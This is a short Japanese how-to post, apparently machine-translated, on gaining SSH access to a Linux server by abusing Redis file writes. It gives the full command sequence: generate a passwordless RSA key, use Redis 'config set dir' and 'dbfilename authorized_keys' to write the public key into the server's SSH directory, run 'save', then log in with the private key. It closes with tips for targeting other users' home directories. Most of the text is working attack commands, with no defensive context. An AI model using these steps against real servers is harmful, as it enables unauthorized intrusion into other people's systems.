Redis書き込みファイル権限によるsshアクセスlinuxの脆弱性

1760 ワード

げんり
redisのconfigコマンドでrdbファイルアドレスをsshキーファイルに変更し、redisに公開鍵を書き込み、saveコマンドで手動でrdbにリフレッシュすると、このとき秘密鍵でログインできます
操作
ローカルコンピュータ(linuxを例に)でパスワードのない鍵を生成
ssh-keygen -t rsa -P ''    #       

このときは~/.ssh/下生成2つのファイルid_rsaid_rsa.pub,id_rsaは秘密鍵、id_rsa_pubは公開鍵であり、公開鍵ファイルの内容は以下の通りである.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8

サーバのredisコマンドラインに入り、次の一連のコマンドを入力します(ssh-rsaコンテンツの前後にリターン記号があることに注意してください).
config set dir /.ssh

config set dbfilename authorized_keys

set ssh-test "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf53Tg8bfLm8UQBFgm31YpMPuGDY3eWQ5GCiP4E7hdaSBvqSjeMjUOy5NWLg424BFWSFiKNF8oRBZpXtfhu+4AwgrwdSDJuKQtjJvrh7D+rnuxtzpGbqL/716S0e/+VHeh8PXnC+GPAMg72p7zDzHuYkvwkx/r6LSY9fspU25lHH4I9VrrxgPoS+BbU03i9LiGZFSTUSAljTJE3H5bPNpRPWlHlAZTxGXTYIGO+K2ZnUAg2+HtS246NONl6z1lVtxrS5G4yuiTeHJr+KWJD/DOiZ50EoYqbTHsjnTAM5MJTLHWH1jBIZ133OHW5RGmzyEuws6ge0Y6eGnxgwm2W09p uvince@DESKTOP-6JIM4T8
" save

この時点でauthorized_keysファイルに公開鍵が書き込まれています
ローカルコンピュータ使用コマンドssh -i ~/.ssh/id_rsa [email protected]はサーバにログインできます.ここで-iの後ろには秘密鍵のパスがあります.
この中には、redisがファイルを書く権限がディレクトリに届くようにするいくつかの制限があります.現在rootユーザに書き込まれているので、redisはrootユーザで起動する必要があります.あるサーバにどのユーザがいるか知っていればconfig set dir/.sshをconfig set dir/home/username/.sshは、redisとそのユーザが同じユーザであることが望ましい、この場合config set dir~/.ssh